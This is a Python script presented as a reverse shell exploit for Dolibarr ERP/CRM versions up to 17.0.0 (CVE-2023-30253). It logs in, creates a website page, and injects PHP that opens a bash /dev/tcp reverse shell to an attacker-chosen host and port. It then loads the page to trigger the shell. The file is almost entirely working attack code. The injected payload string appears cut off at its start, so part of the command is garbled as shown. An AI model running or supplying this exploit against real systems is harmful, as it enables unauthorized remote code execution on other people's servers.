#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
import http.client
import time
import argparse
import uuid
auth_headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
"Connection": "close"
}
def remove_http_prefix(url: str) -> str:
if url.startswith("http://"):
return url[len("http://"):]
elif url.startswith("https://"):
return url[len("https://"):]
else:
return url
def get_csrf_token(url, headers):
csrf_token = ""
response = requests.get(url, headers=headers)
if response.status_code == 200:
soup = BeautifulSoup(response.content, "html.parser")
meta_tag = soup.find("meta", attrs={"name": "anti-csrf-newtoken"})
if meta_tag:
csrf_token = meta_tag.get("content")
else:
print("[!] CSRF token not found")
else:
print("[!] Failed to retrieve the page. Status code:", response.status_code)
return csrf_token
def auth(pre_login_token, username, password, auth_url, auth_headers):
login_payload = {
"token": pre_login_token,
"actionlogin": "login",
"loginfunction": "loginfunction",
"backtopage": "",
"tz": "-5",
"tz_string": "America/New_York",
"dst_observed": "1",
"dst_first": "2024-03-10T01:59:00Z",
"dst_second": "2024-11-3T01:59:00Z",
"screenwidth": "1050",
"screenheight": "965",
"dol_hide_topmenu": "",
"dol_hide_leftmenu": "",
"dol_optimize_smallscreen": "",
"dol_no_mouse_hover": "",
"dol_use_jmobile": "",
"username": username,
"password": password
}
requests.post(auth_url, data=login_payload, headers=auth_headers, allow_redirects=True)
def create_site(hostname, login_token, site_name, http_connection):
create_site_headers = {
"Host": remove_http_prefix(hostname),
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryKouJvCUT1lX8IVE6",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
"Connection": "close"
}
create_site_body = (
"------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
"Content-Disposition: form-data; name=\"token\"\r\n\r\n" +
login_token + "\r\n"
"------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
"Content-Disposition: form-data; name=\"backtopage\"\r\n\r\n\r\n"
"------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
"Content-Disposition: form-data; name=\"dol_openinpopup\"\r\n\r\n\r\n"
"------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
"Content-Disposition: form-data; name=\"action\"\r\n\r\n"
"addsite\r\n"
"------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
"Content-Disposition: form-data; name=\"website\"\r\n\r\n"
"-1\r\n"
"------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
"Content-Disposition: form-data; name=\"WEBSITE_REF\"\r\n\r\n" +
site_name + "\r\n"
"------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
"Content-Disposition: form-data; name=\"WEBSITE_LANG\"\r\n\r\n"
"en\r\n"
"------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
"Content-Disposition: form-data; name=\"WEBSITE_OTHERLANG\"\r\n\r\n\r\n"
"------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
"Content-Disposition: form-data; name=\"WEBSITE_DESCRIPTION\"\r\n\r\n\r\n"
"------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
"Content-Disposition: form-data; name=\"virtualhost\"\r\n\r\n"
"http://" + site_name + ".localhost\r\n"
"------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
"Content-Disposition: form-data; name=\"addcontainer\"\r\n\r\n"
"Create\r\n"
"------WebKitFormBoundaryKouJvCUT1lX8IVE6--\r\n"
)
http_connection.request("POST", "/website/index.php", create_site_body, create_site_headers)
http_connection.getresponse()
def create_page(hostname, login_token, site_name, http_connection):
create_page_headers = {
"Host": remove_http_prefix(hostname),
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryur7X26L0cMS2mE5w",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
"Connection": "close"
}
create_page_body = (
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"token\"\r\n\r\n" +
login_token + "\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"backtopage\"\r\n\r\n\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"dol_openinpopup\"\r\n\r\n\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"action\"\r\n\r\n"
"addcontainer\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"website\"\r\n\r\n" +
site_name + "\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"pageidbis\"\r\n\r\n"
"-1\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"pageid\"\r\n\r\n\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"radiocreatefrom\"\r\n\r\n"
"checkboxcreatemanually\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"WEBSITE_TYPE_CONTAINER\"\r\n\r\n"
"page\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"sample\"\r\n\r\n"
"empty\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"WEBSITE_TITLE\"\r\n\r\n"
"TEST\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"WEBSITE_PAGENAME\"\r\n\r\n" +
site_name + "\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"WEBSITE_ALIASALT\"\r\n\r\n\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"WEBSITE_DESCRIPTION\"\r\n\r\n\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"WEBSITE_IMAGE\"\r\n\r\n\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"WEBSITE_KEYWORDS\"\r\n\r\n\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"WEBSITE_LANG\"\r\n\r\n"
"0\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"WEBSITE_AUTHORALIAS\"\r\n\r\n\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"datecreation\"\r\n\r\n"
"05/25/2024\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"datecreationday\"\r\n\r\n"
"25\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"datecreationmonth\"\r\n\r\n"
"05\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"datecreationyear\"\r\n\r\n"
"2024\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"datecreationhour\"\r\n\r\n"
"15\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"datecreationmin\"\r\n\r\n"
"25\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"datecreationsec\"\r\n\r\n"
"29\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"htmlheader_x\"\r\n\r\n\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"htmlheader_y\"\r\n\r\n\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"htmlheader\"\r\n\r\n\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"addcontainer\"\r\n\r\n"
"Create\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"externalurl\"\r\n\r\n\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"grabimages\"\r\n\r\n"
"1\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
"Content-Disposition: form-data; name=\"grabimagesinto\"\r\n\r\n"
"root\r\n"
"------WebKitFormBoundaryur7X26L0cMS2mE5w--\r\n"
)
http_connection.request("POST", "/website/index.php", create_page_body, create_page_headers)
http_connection.getresponse()
def edit_page(hostname, login_token, site_name, lhost, lport, http_connection):
edit_page_headers = {
"Host": remove_http_prefix(hostname),
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryYWePyybXc70N8CPm",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
"Connection": "close"
}
edit_page_body = (
"------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
"Content-Disposition: form-data; name=\"token\"\r\n\r\n" +
login_token + "\r\n"
"------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
"Content-Disposition: form-data; name=\"backtopage\"\r\n\r\n\r\n"
"------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
"Content-Disposition: form-data; name=\"dol_openinpopup\"\r\n\r\n\r\n"
"------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
"Content-Disposition: form-data; name=\"action\"\r\n\r\n"
"updatesource\r\n"
"------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
"Content-Disposition: form-data; name=\"website\"\r\n\r\n" +
site_name + "\r\n"
"------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
"Content-Disposition: form-data; name=\"pageid\"\r\n\r\n"
"2\r\n"
"------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
"Content-Disposition: form-data; name=\"update\"\r\n\r\n"
"Save\r\n"
"------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
"Content-Disposition: form-data; name=\"PAGE_CONTENT_x\"\r\n\r\n"
"16\r\n"
"------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
"Content-Disposition: form-data; name=\"PAGE_CONTENT_y\"\r\n\r\n"
"2\r\n"
"------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
"Content-Disposition: form-data; name=\"PAGE_CONTENT\"\r\n\r\n"
"\n"
"\n"
" & /dev/tcp/" + lhost + "/" + lport + " 0>&1'\"); ?>\n"
"\n"
"------WebKitFormBoundaryYWePyybXc70N8CPm--\r\n"
)
http_connection.request("POST", "/website/index.php", edit_page_body, edit_page_headers)
http_connection.getresponse()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="---[Reverse Shell Exploit for Dolibarr <= 17.0.0 (CVE-2023-30253)]---", usage= "python3 exploit.py \r\nexample: python3 exploit.py http://example.com login password 127.0.0.1 9001")
parser.add_argument("hostname", help="Target hostname")
parser.add_argument("username", help="Username of Dolibarr ERP/CRM")
parser.add_argument("password", help="Password of Dolibarr ERP/CRM")
parser.add_argument("lhost", help="Listening host for reverse shell")
parser.add_argument("lport", help="Listening port for reverse shell")
args = parser.parse_args()
min_required_args = 5
if len(vars(args)) != min_required_args:
parser.print_usage()
exit()
site_name = str(uuid.uuid4()).replace("-","")[:10]
base_url = args.hostname + "/index.php"
auth_url = args.hostname + "/index.php?mainmenu=home"
admin_url = args.hostname + "/admin/index.php?mainmenu=home&leftmenu=setup&mesg=setupnotcomplete"
call_reverse_shell_url = args.hostname + "/public/website/index.php?website=" + site_name + "&pageref=" + site_name
pre_login_token = get_csrf_token(base_url, auth_headers)
if pre_login_token == "":
print("[!] Cannot get pre_login_token, please check the URL")
exit()
print("[*] Trying authentication...")
print("[**] Login: " + args.username)
print("[**] Password: " + args.password)
auth(pre_login_token, args.username, args.password, auth_url, auth_headers)
time.sleep(1)
login_token = get_csrf_token(admin_url, auth_headers)
if login_token == "":
print("[!] Cannot get login_token, please check the URL")
exit()
http_connection = http.client.HTTPConnection(remove_http_prefix(args.hostname))
print("[*] Trying created site...")
create_site(args.hostname, login_token, site_name, http_connection)
time.sleep(1)
print("[*] Trying created page...")
create_page(args.hostname, login_token, site_name, http_connection)
time.sleep(1)
print("[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection")
edit_page(args.hostname, login_token, site_name, args.lhost, args.lport, http_connection)
http_connection.close()
time.sleep(1)
requests.get(call_reverse_shell_url)
print("[!] If you have not received the shell, please check your login and password")